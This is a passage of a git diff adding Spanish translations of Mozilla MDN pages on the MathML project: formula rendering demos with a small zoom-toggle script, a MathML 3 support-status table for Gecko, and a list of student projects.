+ (Lo Que Ves Es Lo Que Haces), o de forma más corta "WYSIWYM". ¡La diferencia entre estas dos es el marcado! <math display="block"> <msup> <mrow> <mo minsize="3" symmetric="false">(</mo> <mo>...</mo> <msup> <mrow> <mo minsize="2" symmetric="false">(</mo> <msup> <mrow> <mo symmetric="false">(</mo> <msub> <mi>a</mi> <mn>0</mn> </msub> <mo>+</mo> <msub> <mi>a</mi> <mn>1</mn> </msub> <mo symmetric="false">)</mo> </mrow> <msub> <mi>n</mi> <mn>1</mn> </msub> </msup> <mo>+</mo> <msub> <mi>a</mi> <mn>2</mn> </msub> <mo minsize="2" symmetric="false">)</mo> </mrow> <msub> <mi>n</mi> <mn>2</mn> </msub> </msup> <mo>+</mo> <mo>...</mo> <mo>+</mo> <msub> <mi>a</mi> <mi>p</mi> </msub> <mo minsize="3" symmetric="false">)</mo> </mrow> <msub> <mi>n</mi> <mi>p</mi> </msub> </msup> </math> <math display="block"> <msup> <mrow> <mo>(</mo> <mo>...</mo> <msup> <mrow> <mo>(</mo> <msup> <mrow> <mo>(</mo> <msub> <mi>a</mi> <mn>0</mn> </msub> <mo>+</mo> <msub> <mi>a</mi> <mn>1</mn> </msub> <mo>)</mo> </mrow> <msub> <mi>n</mi> <mn>1</mn> </msub> </msup> <mo>+</mo> <msub> <mi>a</mi> <mn>2</mn> </msub> <mo>)</mo> </mrow> <msub> <mi>n</mi> <mn>2</mn> </msub> </msup> <mo>+</mo> <mo>...</mo> <mo>+</mo> <msub> <mi>a</mi> <mi>p</mi> </msub> <mo>)</mo> </mrow> <msub> <mi>n</mi> <mi>p</mi> </msub> </msup> </math></p>
+<p>Las raíces de esta ecuación en negrita <math> <mstyle mathvariant="bold"> <msup> <mi>y</mi> <mn>3</mn> </msup> <mo>+</mo> <mi>p</mi> <mi>y</mi> <mo>+</mo> <mi>q</mi> <mo>=</mo> <mn>0</mn> </mstyle> </math> también están en negrita <math display="block"> <mstyle mathvariant="bold"> <mi>y</mi> <mo>=</mo> <mroot> <mrow> <mo>-</mo> <mfrac> <mi>q</mi> <mn>2</mn> </mfrac> <mo>+</mo> <mroot> <mrow> <mfrac> <msup> <mi>q</mi> <mn>2</mn> </msup> <mn>4</mn> </mfrac> <mo>+</mo> <mfrac> <msup> <mi>p</mi> <mn>3</mn> </msup> <mn>27</mn> </mfrac> </mrow> <mn>2</mn> </mroot> </mrow> <mn>3</mn> </mroot> <mo>+</mo> <mroot> <mrow> <mo>-</mo> <mfrac> <mi>q</mi> <mn>2</mn> </mfrac> <mo>-</mo> <mroot> <mrow> <mfrac> <msup> <mi>q</mi> <mn>2</mn> </msup> <mn>4</mn> </mfrac> <mo>+</mo> <mfrac> <msup> <mi>p</mi> <mn>3</mn> </msup> <mn>27</mn> </mfrac> </mrow> <mn>2</mn> </mroot> </mrow> <mn>3</mn> </mroot> <mo>.</mo> </mstyle> </math></p>
+<p>Mientras que las raíces de la ecuación <math> <mrow> <mi>a</mi> <msup> <mi>x</mi> <mn>2</mn> </msup> <mo>+</mo> <mi>b</mi> <mi>x</mi> <mo>+</mo> <mi>c</mi> <mo>=</mo> <mn>0</mn> <mo>,</mo> </mrow> </math> haz clic en cualquier parte del área amarilla para acercar y alejar:</p>
+<div style="display: none;">
+ <h2 id="Zoomable_Math" name="Zoomable_Math">Zoomable Math</h2>
+ <h3 id="HTML_Content">HTML Content</h3>
+ <pre class="brush: html">    &lt;p&gt;
+      &lt;math display="block"&gt;
+        &lt;mstyle id="zoomableMath" mathbackground="yellow"&gt;
+          &lt;mrow&gt;
+            &lt;mi&gt;x&lt;/mi&gt;
+            &lt;mo&gt;=&lt;/mo&gt;
+            &lt;mfrac&gt;
+              &lt;mrow&gt;
+                &lt;mrow&gt;
+                  &lt;mo&gt;-&lt;/mo&gt;
+                  &lt;mi&gt;b&lt;/mi&gt;
+                &lt;/mrow&gt;
+                &lt;mo&gt;&amp;#xB1;&lt;/mo&gt;
+                &lt;msqrt&gt;
+                  &lt;mrow&gt;
+                    &lt;msup&gt;
+                      &lt;mi&gt;b&lt;/mi&gt;
+                      &lt;mn&gt;2&lt;/mn&gt;
+                    &lt;/msup&gt;
+                    &lt;mo&gt;-&lt;/mo&gt;
+                    &lt;mrow&gt;
+                      &lt;mn&gt;4&lt;/mn&gt;
+                      &lt;mi&gt;a&lt;/mi&gt;
+                      &lt;mi&gt;c&lt;/mi&gt;
+                    &lt;/mrow&gt;
+                  &lt;/mrow&gt;
+                &lt;/msqrt&gt;
+              &lt;/mrow&gt;
+              &lt;mrow&gt;
+                &lt;mn&gt;2&lt;/mn&gt;
+                &lt;mi&gt;a&lt;/mi&gt;
+              &lt;/mrow&gt;
+            &lt;/mfrac&gt;
+          &lt;/mrow&gt;
+        &lt;/mstyle&gt;
+      &lt;/math&gt;
+    &lt;/p&gt;
+
+</pre>
+ <h3 id="JavaScript_Content">JavaScript Content</h3>
+ <pre class="brush: js">      function zoomToggle()
+      {
+      if (this.hasAttribute("mathsize")) {
+      this.removeAttribute("mathsize");
+      } else {
+      this.setAttribute("mathsize", "200%");
+      }
+      }
+
+      function load()
+      {
+      document.getElementById("zoomableMath").
+      addEventListener("click", zoomToggle, false);
+      }
+
+      window.addEventListener("load", load, false);</pre>
+</div>
+<p style="text-align: center;">{{ EmbedLiveSample('Zoomable_Math') }}</p>
+<p>Considere un marcado interesante como este <math display="block"><mrow><mo>{</mo> <mtable> <mtr> <mtd> <mrow> <msub> <mi>u</mi> <mi>t</mi> </msub> <mo>+</mo> <msub> <mrow> <mi>f</mi> <mo>(</mo> <mi>u</mi> <mo>)</mo> </mrow> <mi>x</mi> </msub> <mo>=</mo> <mn>0</mn> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mi>u</mi> <mo stretchy="false">(</mo> <mn>0</mn> <mo>,</mo> <mi>x</mi> <mo stretchy="false">)</mo> <mo>=</mo> <mrow> <mo>{</mo> <mtable> <mtr> <mtd> <mrow> <msup> <mi>u</mi> <mo>-</mo> </msup> </mrow> </mtd> <mtd> <mrow> <mtext>if </mtext> <mi>x</mi> <mo>&lt;</mo> <mn>0</mn> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <msup> <mi>u</mi> <mo>+</mo> </msup> </mrow> </mtd> <mtd> <mrow> <mtext>if </mtext> <mi>x</mi> <mo>&gt;</mo> <mn>0</mn> </mrow></mtd></mtr></mtable></mrow></mrow></mtd></mtr></mtable></mrow></math>u otros marcados complejos como estos <math display="block"> <mrow> <msub> <mover> <mi>Ell</mi> <mo>^</mo> </mover> <mi>Y</mi> </msub> <mo stretchy="false">(</mo> <mi>Z</mi> <mo>;</mo> <mi>z</mi> <mo>,</mo> <mi>τ</mi> <mo stretchy="false">)</mo> <mo>:=</mo> <msub> <mo>∫</mo> <mi>Y</mi> </msub> <mo>(</mo> <munder> <mo>∏</mo> <mi>l</mi> </munder> <mfrac> <mrow> <mrow> <mo>(</mo> <mfrac> <msub> <mi>y</mi> <mi>l</mi> </msub> <mrow> <mn>2</mn> <mi>π</mi> <mi mathvariant="normal">i</mi> </mrow> </mfrac> <mo>)</mo> </mrow> <mrow> <mi>θ</mi> <mo>(</mo> <mfrac> <msub> <mi>y</mi> <mi>l</mi> </msub> <mrow> <mn>2</mn> <mi>π</mi> <mi mathvariant="normal">i</mi> </mrow> </mfrac> <mo>-</mo> <mi>z</mi> <mo>)</mo> </mrow> <msup> <mi>θ</mi> <mo>′</mo> </msup> <mo stretchy="false">(</mo> <mn>0</mn> <mo stretchy="false">)</mo> </mrow> <mrow> <mi>θ</mi> <mo stretchy="false">(</mo> <mo>-</mo> <mi>z</mi> <mo stretchy="false">)</mo> <mrow> <mi>θ</mi> <mo>(</mo> <mfrac> <msub> <mi>y</mi> <mi>l</mi> </msub> <mrow> <mn>2</mn> <mi>π</mi> <mi mathvariant="normal">i</mi> </mrow> </mfrac> <mo>)</mo> </mrow> </mrow> </mfrac> <mo>)</mo> <mo>×</mo> <mo>(</mo> <munder> <mo>∏</mo> <mi>k</mi> </munder> <mfrac> <mrow> <mrow> <mi>θ</mi> <mo>(</mo> <mfrac> <msub> <mi>e</mi> <mi>k</mi> </msub> <mrow> <mn>2</mn> <mi>π</mi> <mi mathvariant="normal">i</mi> </mrow> </mfrac> <mo>-</mo> <mo stretchy="false">(</mo> <msub> <mi>α</mi> <mi>k</mi> </msub> <mo>+</mo> <mn>1</mn> <mo stretchy="false">)</mo> <mi>z</mi> <mo>)</mo> </mrow> <mi>θ</mi> <mo stretchy="false">(</mo> <mo>-</mo> <mi>z</mi> <mo stretchy="false">)</mo> </mrow> <mrow> <mrow> <mi>θ</mi> <mo>(</mo> <mfrac> <msub> <mi>e</mi> <mi>k</mi> </msub> <mrow> <mn>2</mn> <mi>π</mi> <mi mathvariant="normal">i</mi> </mrow> </mfrac> <mo>-</mo> <mi>z</mi> <mo>)</mo> </mrow> <mi>θ</mi> <mo stretchy="false">(</mo> <mo>-</mo> <mo stretchy="false">(</mo> <msub> <mi>α</mi> <mi>k</mi> </msub> <mo>+</mo> <mn>1</mn> <mo stretchy="false">)</mo> <mi>z</mi> <mo stretchy="false">)</mo> </mrow> </mfrac> <mo>)</mo> </mrow> </math> <math display="block"> <mrow> <mi>π</mi> <mo stretchy="false">(</mo> <mi>n</mi> <mo stretchy="false">)</mo> <mo>=</mo> <munderover> <mo>∑</mo> <mrow> <mi>m</mi> <mo>=</mo> <mn>2</mn> </mrow> <mi>n</mi> </munderover> <mrow> <mo>⌊</mo> <msup> <mrow> <mo>(</mo> <mrow> <munderover> <mo>∑</mo> <mrow> <mi>k</mi> <mo>=</mo> <mn>1</mn> </mrow> <mrow> <mi>m</mi> <mo>-</mo> <mn>1</mn> </mrow> </munderover> <mrow> <mo minsize="1.5">⌊</mo> <mo>(</mo> <mi>m</mi> <mo>/</mo> <mi>k</mi> <mo>)</mo> <mo minsize="2">/</mo> <mo>⌈</mo> <mi>m</mi> <mo>/</mo> <mi>k</mi> <mo>⌉</mo> <mo minsize="1.5">⌋</mo> </mrow> </mrow> <mo>)</mo> </mrow> <mrow> <mo>-</mo> <mn>1</mn> </mrow> </msup> <mo>⌋</mo> </mrow> </mrow> </math> <math display="block"> <mrow> <msub> <mrow> <mo>‖</mo> <mi>ϕ</mi> <mo>‖</mo> </mrow> <mrow> <msubsup> <mi>W</mi> <mi>s</mi> <mi>k</mi> </msubsup> <mo stretchy="false">(</mo> <msub> <mi>Ω</mi> <mi>g</mi> </msub> <mo stretchy="false">)</mo> </mrow> </msub> <mo>≝</mo> <msup> <mrow> <mo>(</mo> <munder> <mo>∑</mo> <mrow> <mo>|</mo> <mi>α</mi> <mo>|</mo> <mo>≦</mo> <mi>k</mi> </mrow> </munder> <msubsup> <mfenced close="‖" open="‖"> <mfrac> <mrow> <msup> <mo>∂</mo> <mi>α</mi> </msup> <mi>ϕ</mi> </mrow> <mrow> <mo>∂</mo> <msup> <mi>ξ</mi> <mi>α</mi> </msup> </mrow> </mfrac> </mfenced> <mrow> <msup> <mi>L</mi> <mi>s</mi> </msup> <mo stretchy="false">(</mo> <msub> <mi>Ω</mi> <mi>g</mi> </msub> <mo stretchy="false">)</mo> </mrow> <mi>s</mi> </msubsup> <mo>)</mo> </mrow> <mrow> <mn>1</mn> <mo>/</mo> <mi>s</mi> </mrow> </msup> </mrow> </math></p>
+<p>Para más ejemplos, ve a los enlaces en le página del <a href="./">Proyecto MathML</a>, y sí estás <a href="build.html">construyendo</a> tu propio binario de Mozilla, ve el directorio
+ <i>
+  mozilla</i>
+ <i>
+  /layout/mathml/tests</i>
+ .</p>
+<p>Ahora, ¿Qué sigue? Mientras pruebas MathML en Mozilla, ¿Qué hacer con esas cosas que parecen no funcionar según la especificación MathML? ¿O con esas cosas que simplemente parecen molestas, y que desearías poder hacer un poco mejor? ¿O con esas cosas que antes funcionaban y ya no funcionan mas (regresiones)? En cualquiera de las casos, dirígete a <a href="../../quality/bug-writing-guidelines.html">Bugzilla</a> para reportar las anomalías. Bugzilla tiene gran memoria para estas cosas, además, ¿cómo serían tus problemas solucionados si no son reportados?</p>
+<p><a href="../../get-involved.html">Involucrarse</a> es parte de tu contribución al enriquecimiento de <a href="../../newlayout/">Gecko</a> con un procesador de MathML de estándares elegantes y obediente. Tu puedes dar tu opinión <a href="authoring.html">colocando contenido con MathML en la web</a>, reportando bugs en <a href="../../quality/bug-writing-guidelines.html">Bugzilla</a>, y, sí puedes ayudar con código, <a href="http://lxr.mozilla.org/seamonkey/source/layout/mathml/">inspeccionando o mejorando el código existente </a>y/o escogiendo un elemento en la lista de <a href="update.html">tareas pendientes</a>.</p>
+<div id="cke_pastebin" style="position: absolute; top: 1775.63px; width: 1px; height: 1px; overflow: hidden; left: -1000px;">
+  </div>
diff --git a/files/es/mozilla/mathml_project/status/index.html b/files/es/mozilla/mathml_project/status/index.html
new file mode 100644
index 0000000000..bee65af721
--- /dev/null
+++ b/files/es/mozilla/mathml_project/status/index.html
@@ -0,0 +1,325 @@
+---
+title: Estado de Mozilla MathML
+slug: Mozilla/MathML_Project/Status
+translation_of: Mozilla/MathML_Project/Status
+---
+<p>Resumen de los elementos y/o atributos de <a class="external" href="http://www.w3.org/TR/MathML3/" title="http://www.w3.org/TR/MathML3/">MathML 3</a> (excluyendo elementos sin uso) y estado actual del soporte nativo. Se muestran referencias a MathML 3. Las secciones están marcadas con su correspondiente estado: <span style="background-color: lightgreen;">soportado</span>, <span style="background-color: gold;">en progreso</span>, y <span style="background-color: salmon;">no soportado actualmente</span>. Las secciones relacionadas a semántica/contenido, MathML o funciones irrelevantes se dejan en blanco o no se muestran en la lista. Si solo la función principal de un elemento esta implementado, esa sección sera marcada como soportado pero los detalles de los atributos no soportados se especifican después.</p>
+<h2 id="Elementos_de_nivel_superior_de_Math">Elementos de nivel superior de Math</h2>
+<p>Vea <a class="external" href="http://www.w3.org/TR/MathML3/chapter2.html#interf.toplevel">§ 2.2</a>.</p>
+<table style="width: 100%;">
+  <tbody>
+    <tr>
+      <th>Atributo</th>
+      <th>Notas</th>
+    </tr>
+    <tr style="background-color: #90ee90;">
+      <td>display</td>
+      <td>Implementado.</td>
+    </tr>
+    <tr style="background-color: #fa8072;">
+      <td>maxwidth, overflow</td>
+      <td>No Implementado. Ver {{ Bug("534962") }}.</td>
+    </tr>
+    <tr>
+      <td>altimg, altimg-width, altimg-height, altimg-valign, alttext</td>
+      <td>MathML esta siempre activado, por lo que soportar estos atributos es irrelevante. Vea {{ Bug("660762") }}.</td>
+    </tr>
+    <tr>
+      <td>cdgroup</td>
+      <td> </td>
+    </tr>
+  </tbody>
+</table>
+<h2 id="Atributos_Compartidos_por_todos_los_elementos_MathML">Atributos Compartidos por todos los elementos MathML</h2>
+<p>Vea <a class="external" href="http://www.w3.org/TR/MathML3/chapter2.html#fund.globatt">§ 2.1.6</a> y <a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.presatt">§ 3.1.10</a>.</p>
+<table style="width: 100%;">
+  <tbody>
+    <tr>
+      <th>Atributo</th>
+      <th>Notas</th>
+    </tr>
+    <tr style="background-color: #90ee90;">
+      <td>id, class, style</td>
+      <td>Implementado.</td>
+    </tr>
+    <tr>
+      <td>xref</td>
+      <td> </td>
+    </tr>
+    <tr style="background-color: #90ee90;">
+      <td>href</td>
+      <td>Implementado en Gecko.  Nota: la interfaz de usuario funciona correctamente en Seamonkey pero no en Firefox. Ver {{ Bug("534968") }}.</td>
+    </tr>
+    <tr style="background-color: #90ee90;">
+      <td>mathcolor</td>
+      <td>Implementado.</td>
+    </tr>
+    <tr style="background-color: #90ee90;">
+      <td>mathbackground</td>
+      <td>Implementado.</td>
+    </tr>
+  </tbody>
+</table>
+<h2 id="Elementos_de_Señalización">Elementos de Señalización</h2>
+<table style="width: 100%;">
+  <tbody>
+    <tr>
+      <th>Elemento [- atributo]</th>
+      <th>Notas</th>
+    </tr>
+    <tr style="background-color: #90ee90;">
+      <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mi">mi</a></td>
+      <td>Implementado.</td>
+    </tr>
+    <tr style="background-color: #ffd700;">
+      <td>mi - mathvariant</td>
+      <td>Parcialmente Implementado. Ver {{ Bug("114365") }}.</td>
+    </tr>
+    <tr style="background-color: #90ee90;">
+      <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mn">mn</a></td>
+      <td>Implementado.</td>
+    </tr>
+    <tr style="background-color: #90ee90;">
+      <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mo">mo</a></td>
+      <td>Implementado.</td>
+    </tr>
+    <tr style="background-color: #fa8072;">
+      <td>mo - linebreaking attributes, indentation attributes</td>
+      <td>No Implementado. Ver {{ Bug("534962") }}.</td>
+    </tr>
+    <tr style="background-color: #90ee90;">
+      <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mtext">mtext</a></td>
+      <td>Implementado.</td>
+    </tr>
+    <tr style="background-color: #90ee90;">
+      <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mspace">mspace</a></td>
+      <td>Implementado.</td>
+    </tr>
+    <tr style="background-color: #fa8072;">
+      <td>mspace - linebreak</td>
+      <td>No Implementado. Ver {{ Bug("380266") }}.</td>
+    </tr>
+    <tr style="background-color: #90ee90;">
+      <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.ms">ms</a></td>
+      <td>Implementado.</td>
+    </tr>
+  </tbody>
+</table>
+<h2 id="Esquema_de_Diseño_General">Esquema de Diseño General</h2>
+<table style="width: 100%;">
+  <tbody>
+    <tr>
+      <th>Elemento [- atributo]</th>
+      <th>Notas</th>
+    </tr>
+    <tr style="background-color: #90ee90;">
+      <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mrow">mrow</a></td>
+      <td>Implementado.</td>
+    </tr>
+    <tr style="background-color: #90ee90;">
+      <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mfrac">mfrac</a></td>
+      <td>Implementado.</td>
+    </tr>
+    <tr style="background-color: #90ee90;">
+      <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.msqrt">msqrt</a></td>
+      <td>Implementado.</td>
+    </tr>
+    <tr style="background-color: #90ee90;">
+      <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mroot">mroot</a></td>
+      <td>Implementado.</td>
+    </tr>
+    <tr style="background-color: #90ee90;">
+      <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mstyle">mstyle</a></td>
+      <td>Implementado.</td>
+    </tr>
+    <tr style="background-color: #fa8072;">
+      <td>mstyle - lquote, rquote</td>
+      <td>No Implementado. Ver {{ Bug("560100") }}.</td>
+    </tr>
+    <tr style="background-color: #fa8072;">
+      <td>mstyle - infixlinebreakstyle</td>
+      <td>No Implementado. Ver {{ Bug("534962") }}.</td>
+    </tr>
+    <tr style="background-color: #fa8072;">
+      <td>mstyle - decimalpoint</td>
+      <td>No Implementado.</td>
+    </tr>
+    <tr style="background-color: #90ee90;">
+      <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.merror">merror</a></td>
+      <td>Implementado.</td>
+    </tr>
+    <tr style="background-color: #90ee90;">
+      <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mpadded">mpadded</a></td>
+      <td>Implementado.</td>
+    </tr>
+    <tr style="background-color: #90ee90;">
+      <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mphantom">mphantom</a></td>
+      <td>Implementado.</td>
+    </tr>
+    <tr style="background-color: #90ee90;">
+      <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mfenced">mfenced</a></td>
+      <td>Implementado.</td>
+    </tr>
+    <tr style="background-color: #90ee90;">
+      <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.menclose">menclose</a></td>
+      <td>Implementado.</td>
+    </tr>
+  </tbody>
+</table>
+<h2 id="Script_y_Limites_esquemáticos">Script y Limites esquemáticos</h2>
+<table style="width: 100%;">
+  <tbody>
+    <tr>
+      <th>Elemento [- atributo]</th>
+      <th>Notas</th>
+    </tr>
+    <tr style="background-color: #90ee90;">
+      <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.msub">msub</a></td>
+      <td>Implementado.</td>
+    </tr>
+    <tr style="background-color: #90ee90;">
+      <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.msup">msup</a></td>
+      <td>Implementado.</td>
+    </tr>
+    <tr style="background-color: #90ee90;">
+      <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.subsup">msubsup</a></td>
+      <td>Implementado.</td>
+    </tr>
+    <tr style="background-color: #90ee90;">
+      <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.munder">munder</a></td>
+      <td>Implementado.</td>
+    </tr>
+    <tr style="background-color: #90ee90;">
+      <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mover">mover</a></td>
+      <td>Implementado.</td>
+    </tr>
+    <tr style="background-color: #90ee90;">
+      <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.munderover">munderover</a></td>
+      <td>Implementado.</td>
+    </tr>
+    <tr style="background-color: #90ee90;">
+      <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mmultiscripts">mmultiscripts</a></td>
+      <td>Implementado.</td>
+    </tr>
+  </tbody>
+</table>
+<h2 id="Cálculos_en_Tablas">Cálculos en Tablas</h2>
+<table style="width: 100%;">
+  <tbody>
+    <tr>
+      <th>Elemento [- atributo]</th>
+      <th>Notas</th>
+    </tr>
+    <tr style="background-color: #90ee90;">
+      <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mtable">mtable</a></td>
+      <td>Implementado.</td>
+    </tr>
+    <tr style="background-color: #fa8072;">
+      <td>mtable - alignmentscope</td>
+      <td>No Implementado. Ver {{ Bug("122253") }}.</td>
+    </tr>
+    <tr style="background-color: #fa8072;">
+      <td>mtable - columnspacing, rowspacing</td>
+      <td>No Implementado. Ver {{ Bug("330964") }}.</td>
+    </tr>
+    <tr style="background-color: #fa8072;">
+      <td>mtable - columnwidth, framespacing, equalrows, equalcolumns</td>
+      <td>No Implementado.</td>
+    </tr>
+    <tr style="background-color: #fa8072;">
+      <td>mtable - side, minlabelspacing</td>
+      <td>No Implementado. Ver {{ Bug("356870") }}.</td>
+    </tr>
+    <tr style="background-color: #90ee90;">
+      <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mtr">mtr</a></td>
+      <td>Implementado.</td>
+    </tr>
+    <tr style="background-color: #90ee90;">
+      <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mtd">mtd</a></td>
+      <td>Implementado.</td>
+    </tr>
+    <tr style="background-color: #fa8072;">
+      <td>* - groupalign.</td>
+      <td>No Implementado. Ver {{ Bug("122253") }}.</td>
+    </tr>
+    <tr style="background-color: #fa8072;">
+      <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.maligngroup">maligngroup</a></td>
+      <td>No Implementado. Ver {{ Bug("122253") }}.</td>
+    </tr>
+    <tr style="background-color: #fa8072;">
+      <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.malignmark">malignmark</a></td>
+      <td>No Implementado. Ver {{ Bug("122253") }}.</td>
+    </tr>
+  </tbody>
+</table>
+<h2 id="Cálculos_Elementales">Cálculos Elementales</h2>
+<table style="width: 100%;">
+  <tbody>
+    <tr>
+      <th>Elemento [- atributo]</th>
+      <th>Notas</th>
+    </tr>
+    <tr style="background-color: #fa8072;">
+      <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mstack">mstack</a></td>
+      <td>No Implementado. Ver {{ Bug("534967") }}.</td>
+    </tr>
+    <tr style="background-color: #fa8072;">
+      <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mlongdiv">mlongdiv</a></td>
+      <td>No Implementado. Ver {{ Bug("534967") }}.</td>
+    </tr>
+    <tr style="background-color: #fa8072;">
+      <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.msgroup">msgroup</a></td>
+      <td>No Implementado. Ver {{ Bug("534967") }}.</td>
+    </tr>
+    <tr style="background-color: #fa8072;">
+      <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.msrow">msrow</a></td>
+      <td>No Implementado. Ver {{ Bug("534967") }}.</td>
+    </tr>
+    <tr style="background-color: #fa8072;">
+      <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mscarries">mscarries</a></td>
+      <td>No Implementado. Ver {{ Bug("534967") }}.</td>
+    </tr>
+    <tr style="background-color: #fa8072;">
+      <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mscarry">mscarry</a></td>
+      <td>No Implementado. Ver {{ Bug("534967") }}.</td>
+    </tr>
+    <tr style="background-color: #fa8072;">
+      <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.msline">msline</a></td>
+      <td>No Implementado. Ver {{ Bug("534967") }}.</td>
+    </tr>
+  </tbody>
+</table>
+<h2 id="Otros_Elementos">Otros Elementos</h2>
+<table style="width: 100%;">
+  <tbody>
+    <tr>
+      <th>Elemento [- atributo]</th>
+      <th>Notas</th>
+    </tr>
+    <tr style="background-color: #fa8072;">
+      <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mglyph">mglyph</a></td>
+      <td>No Implementado. Ver {{ Bug("297465") }}.</td>
+    </tr>
+    <tr style="background-color: #90ee90;">
+      <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.maction">maction</a></td>
+      <td>Implementado.</td>
+    </tr>
+    <tr style="background-color: #fa8072;">
+      <td>maction - tooltip</td>
+      <td>No Implementado. Ver {{ Bug("544001") }}.</td>
+    </tr>
+    <tr style="background-color: #90ee90;">
+      <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.semantics">semantics</a></td>
+      <td>Implementado en {{geckoRelease("23.0")}}.</td>
+    </tr>
+  </tbody>
+</table>
+<div class="originaldocinfo">
+  <h2 id="Información_Original_del_Documento">Información Original del Documento</h2>
+  <ul>
+    <li>Autor(s): Frédéric Wang</li>
+    <li>Otros Contribuidores:</li>
+    <li>Información sobre Derechos de Autor: Algunas porciones de este documento poseen derechos de autor de sus respectivos contribuidores de mozilla.org © 2010; Contenido disponible bajo licencia Creative Commons | <a class="external" href="http://www.mozilla.org/foundation/licensing/website-content.html">Detalles</a>.</li>
+  </ul>
+</div>
+<p> </p>
diff --git a/files/es/mozilla/mathml_project/student_projects/index.html b/files/es/mozilla/mathml_project/student_projects/index.html
new file mode 100644
index 0000000000..bff715a243
--- /dev/null
+++ b/files/es/mozilla/mathml_project/student_projects/index.html
@@ -0,0 +1,49 @@
+---
+title: Proyectos Estudiantiles
+slug: Mozilla/MathML_Project/Student_Projects
+tags:
+  - MathML
+translation_of: Mozilla/MathML_Project/Student_Projects
+---
+<h2 id="Verano_2012">Verano 2012</h2>
+<p>Ver "<a href="http://www.maths-informatique-jeux.com/blog/frederic/?post/2012/08/27/How-I-got-involved-with-Mozilla-and-try-to-bring-new-contributors" title="http://www.maths-informatique-jeux.com/blog/frederic/?post/2012/08/27/How-I-got-involved-with-Mozilla-and-try-to-bring-new-contributors">Como me involucre con Mozilla y mi intento de traer nuevos contribuidores</a>" en el blog de Frédéric para una revisión de contribuciones.</p>
+<h3 id="MathML_Dinámico_(Andrii_Zui)">MathML Dinámico (Andrii Zui)</h3>
+<p>Andrii ha sido aceptada para el "Google Summer of Code" de 2012.</p>
+<ul>
+  <li><a class="external" href="http://www.google-melange.com/gsoc/project/google/gsoc2012/prazuber/19001" title="http://www.google-melange.com/gsoc/project/google/gsoc2012/prazuber/19001">Página del Proyecto</a></li>
+  <li><a class="link-https" href="https://wiki.mozilla.org/SummerOfCode/2012/DynamicMathML" title="https://wiki.mozilla.org/SummerOfCode/2012/DynamicMathML">Reporte de Estado Semanal</a></li>
+</ul>
+<h3 id="reconstrucción_de_mtable_(Quentin_Headen)">reconstrucción de mtable (Quentin Headen)</h3>
+<ul>
+  <li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=731667" title="https://bugzilla.mozilla.org/show_bug.cgi?id=731667"><span id="summary_alias_container"><span id="short_desc_nonedit_display">Reescritura de la implementación de mtable para prevenir el uso de atributos _moz-*</span></span></a></li>
+  <li><a href="http://phaseshiftsoftware.com/blog/?p=538" title="http://phaseshiftsoftware.com/post/538">Verano de Mozilla</a> (Quentin's blog)</li>
+</ul>
+<h2 id="Verano_2011">Verano 2011</h2>
+<h3 id="Implantación_de_nuevas_funciones_de_MathML_en_el_motor_de_Mozilla_(Jonathan_Hage)">Implantación de nuevas funciones de MathML en el motor de Mozilla (Jonathan Hage)</h3>
+<p>Durante un internado de dos meses, Jonathan trabajó en los siguientes bugs</p>
+<ul>
+  <li>Agregando soporte de nombres de espacio negativo {{ Bug("650530") }}</li>
+  <li>Actualizando mozilla/src/layout/mathml/tests/ {{ Bug("557084") }}</li>
+  <li>Agregando soporte para el atributo displaystyle en el elemento &lt;math/&gt; {{ Bug("669719") }}</li>
+</ul>
+<p>También agregó soporte para el atributo mpadded@voffset {{ Bug("557474") }} y trabajó también en los elementos munderover:</p>
+<ul>
+  <li>soporte a nivel de script en munderover@accent="true" {{ Bug("669713") }}</li>
+  <li>fusionó los marcos de clases munderover/munder/mover {{ Bug("668204") }}</li>
+  <li>agregó soporte para el atributo align {{ Bug("557476") }}</li>
+</ul>
+<p>Finalmente empezó a trabajar en algunos</p>
+<ul>
